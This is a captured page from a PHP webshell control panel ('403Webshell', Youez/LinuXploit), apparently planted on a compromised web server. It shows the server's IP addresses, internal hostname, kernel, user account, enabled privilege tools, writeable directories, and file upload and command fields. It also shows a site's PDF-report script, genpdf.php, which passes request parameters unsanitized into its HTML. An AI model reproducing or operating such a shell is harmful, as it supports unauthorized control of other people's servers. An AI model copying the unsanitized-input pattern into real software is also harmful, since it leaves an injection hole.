403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nymp/wwwdev/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nymp/wwwdev/mod/genpdf.php
<?php
session_start();
if ($_SESSION['logged_in'] == true) :
	ini_set('display_errors', '0');
	ini_set("pcre.backtrack_limit","10000000");
	ini_set("memory_limit","1024M");
	include("mpdf61/mpdf.php");
	
	$mpdf=new mPDF('','Letter'.'-L','','',12,12,20,15,10,10);
	$mpdf->debug = false;
	$mpdf->useOnlyCoreFonts = false;    // false is default
	$mpdf->keep_table_proportions = true;
	$mpdf->SetProtection(array('copy','print'));
	$mpdf->SetTitle("NYMP Database - Report");
	$mpdf->SetAuthor("Davler Media Group");
	//$mpdf->SetWatermarkText("MitzvahOrganizer.com");
	//$mpdf->showWatermarkText = true;
	//$mpdf->watermark_font = 'DejaVuSansCondensed';
	//$mpdf->watermarkTextAlpha = 0.1;
	$mpdf->SetHTMLHeader('<table width="100%" style="vertical-align: bottom; font-family: serif; font-size: 10pt; color: #000000; font-weight: bold; font-style: italic;"><tr>'.
						'<td width="33%"><span style="font-weight: bold; font-style: italic;">New York Metro Parents</span></td>'.
						'<td width="33%" align="center" style="font-weight: bold; font-style: italic;">'.$_GET['header'].'</td>'.
						'<td width="33%" style="text-align: right; ">Davler Media Group</td>'.
						'</tr></table>');
	$mpdf->SetHTMLFooter('<table width="100%" style="vertical-align: bottom; font-family: serif; font-size: 8pt; color: #000000; font-weight: bold; font-style: italic;"><tr>'.
						'<td width="33%"><span style="font-weight: bold; font-style: italic;">{DATE m/j/Y}</span></td>'.
						'<td width="33%" align="center" style="font-weight: bold; font-style: italic;">Page {PAGENO} of {nbpg}</td>'.
						'<td width="33%" style="text-align: right; ">User: '.$_SESSION['user_name'].'</td>'.
						'</tr></table>');
	$mpdf->SetDisplayMode('fullpage');
	$html = $_REQUEST['pdf_html'];
	//echo $html;
	//echo strlen($html);
	$mpdf->WriteHTML($html);
	$mpdf->Output(); 
	
	/*
	require('html2pdf/html2fpdf.php');
	$pdf=new HTML2FPDF();
	$pdf->AddPage();
	//$fp = fopen("sample.htm","r");
	//$strContent = fread($fp, filesize("sample.htm"));
	//fclose($fp);
	$strContent = $_REQUEST['pdf_html'];
	echo $strContent;
	$pdf->WriteHTML($strContent);
	$pdf->Output("MitzvahOrganizerReport.pdf");
	echo "PDF file is generated successfully!";
	*/
else :
	echo 'Not Authorized!';
endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit